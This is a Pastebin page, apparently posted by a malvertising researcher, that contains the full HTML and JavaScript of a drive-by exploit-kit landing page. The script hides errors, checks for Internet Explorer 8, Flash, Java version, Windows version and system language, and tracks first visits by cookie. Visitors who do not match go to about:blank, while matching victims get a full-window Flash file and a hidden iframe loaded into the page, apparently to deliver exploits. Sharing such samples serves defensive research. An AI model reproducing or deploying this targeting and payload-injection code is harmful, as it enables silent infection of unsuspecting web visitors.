Advertisement
StopMalvertising

Helps.html

Jan 4th, 2013
178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.42 KB | None | 0 0
  1. <html>
  2. <head>
  3.  
  4. <script language="JavaScript">
  5. <!--
  6.  
  7. function SymError()
  8. {
  9. return true;
  10. }
  11.  
  12. window.onerror = SymError;
  13.  
  14. //-->
  15. </script>
  16.  
  17. <script src=deployJava.js></script>
  18. <script type="text/javascript">
  19. function getCookieVal (offset)
  20. {
  21. var endstr = document.cookie.indexOf (";", offset);
  22. if (endstr == -1)
  23. {
  24. endstr = document.cookie.length;
  25. }
  26. return unescape(document.cookie.substring(offset, endstr));
  27. }
  28. function GetCookie (name)
  29. {
  30. var arg = name + "=";
  31. var alen = arg.length;
  32. var clen = document.cookie.length;
  33. var i = 0;
  34. while (i < clen)
  35. {
  36. var j = i + alen;
  37. if (document.cookie.substring(i, j) == arg)
  38. return getCookieVal (j);
  39. i = document.cookie.indexOf(" ", i) + 1;
  40. if (i == 0)
  41. break;
  42. }
  43. return null;
  44. }
  45. function SetCookie (name, value)
  46. {
  47. var argv = SetCookie.arguments;
  48. var argc = SetCookie.arguments.length;
  49. var expires = (2 < argc) ? argv[2] : null;
  50. var path = (3 < argc) ? argv[3] : null;
  51. var domain = (4 < argc) ? argv[4] : null;
  52. var secure = (5 < argc) ? argv[5] : false;
  53. document.cookie = name + "=" + escape (value) +
  54. ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
  55. ((path == null) ? "" : ("; path=" + path)) +
  56. ((domain == null) ? "" : ("; domain=" + domain)) +
  57. ((secure == true) ? "; secure" : "");
  58. }
  59. function DisplayInfo()
  60. {
  61. var expdate = new Date();
  62. var visit;
  63. expdate.setTime(expdate.getTime() + (24 * 60 * 60 * 1000*7 ));
  64. if(!(visit = GetCookie("visit")))
  65. visit = 0;
  66. visit++;
  67. SetCookie("visit", visit, expdate, "/", null, false);
  68. return visit;
  69. }
  70. var ua = window.navigator.userAgent.toLowerCase();
  71.  
  72. if (ua.indexOf('msie 8.0') <0)
  73. {
  74. location.href="about:blank";
  75. }
  76.  
  77. var f = 0;
  78. try {
  79. f = new ActiveXObject('ShockwaveFlash.ShockwaveFlash');
  80. }
  81. catch (e) {
  82. }
  83. var g=typeof f;
  84.  
  85. if(g!="object")
  86. {
  87. location.href="about:blank";
  88. }
  89. var h=navigator.systemLanguage.toLowerCase();
  90.  
  91. if(h!="zh-cn" && h!="en-us" && h!= "zh-tw"&& h!= "ja" && h!= "ru"&&h!= "ko" )
  92. {
  93.  
  94. location.href="about:blank";
  95. }
  96.  
  97. var num=DisplayInfo();
  98. if(num >1)
  99. {
  100. location.href="about:blank";
  101. }
  102. function download()
  103. {
  104. var xmlhttp;
  105. try
  106. {
  107. xmlhttp = new XMLHttpRequest();
  108. }
  109. catch (e)
  110. {
  111. var XMLHTTP_IDS = new Array('MSXML2.XMLHTTP.5.0','MSXML2.XMLHTTP.4.0','MSXML2.XMLHTTP.3.0','MSXML2.XMLHTTP','Microsoft.XMLHTTP' );
  112. var success = false;
  113. for (var i=0;i < XMLHTTP_IDS.length && !success; i++)
  114. {
  115. try
  116. {
  117. xmlhttp = new ActiveXObject(XMLHTTP_IDS[i]);
  118. success = true;
  119. } catch (e)
  120. {}
  121. }
  122. }
  123. function callback()
  124. {
  125. if(xmlhttp.readyState==4)
  126. {
  127. if(xmlhttp.status==200)
  128. {
  129. var temp=ua.replace(/ /g,"");
  130. if (temp.indexOf("nt6.1")>-1) {
  131.  
  132.  
  133. if ((deployJava.versionCheck('1.6.0+') == true) && (deployJava.versionCheck('1.7.0+') == false)) {
  134.  
  135.  
  136. document.getElementById('test').innerHTML="default";
  137. document.body.innerHTML += "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\"100%\" height=\"100%\" id=\"today\"><param name=\"movie\" value=\"today.swf\" /><param name=\"quality\" value=\"high\" /><param name=\"bgcolor\" value=\"#ffffff\" /><param name=\"allowScriptAccess\" value=\"sameDomain\" /><param name=\"allowFullScreen\" value=\"true\" /></object><iframe src=news.html></iframe>";
  138.  
  139. }
  140. else
  141. {
  142. location.href="about:blank";
  143. }
  144. }
  145. else if(temp.indexOf("nt5.1")>-1)
  146. {
  147.  
  148. document.getElementById('test').innerHTML="cat";
  149. document.body.innerHTML += "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\"100%\" height=\"100%\" id=\"today\"><param name=\"movie\" value=\"today.swf\" /><param name=\"quality\" value=\"high\" /><param name=\"bgcolor\" value=\"#ffffff\" /><param name=\"allowScriptAccess\" value=\"sameDomain\" /><param name=\"allowFullScreen\" value=\"true\" /></object><iframe src=news.html></iframe>";
  150.  
  151. }
  152. else
  153. {
  154. location.href="about:blank";
  155. }
  156.  
  157. }
  158. }
  159. }
  160. xmlhttp.open("get", "xsainfo.jpg", true);
  161. xmlhttp.onreadystatechange = callback;
  162. xmlhttp.send(null);
  163. }
  164.  
  165. </script>
  166. </head>
  167. <body onload="download()">
  168. <div style=display:none>
  169. <div id=test>hello</div>
  170. </div>
  171. </body>
  172. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement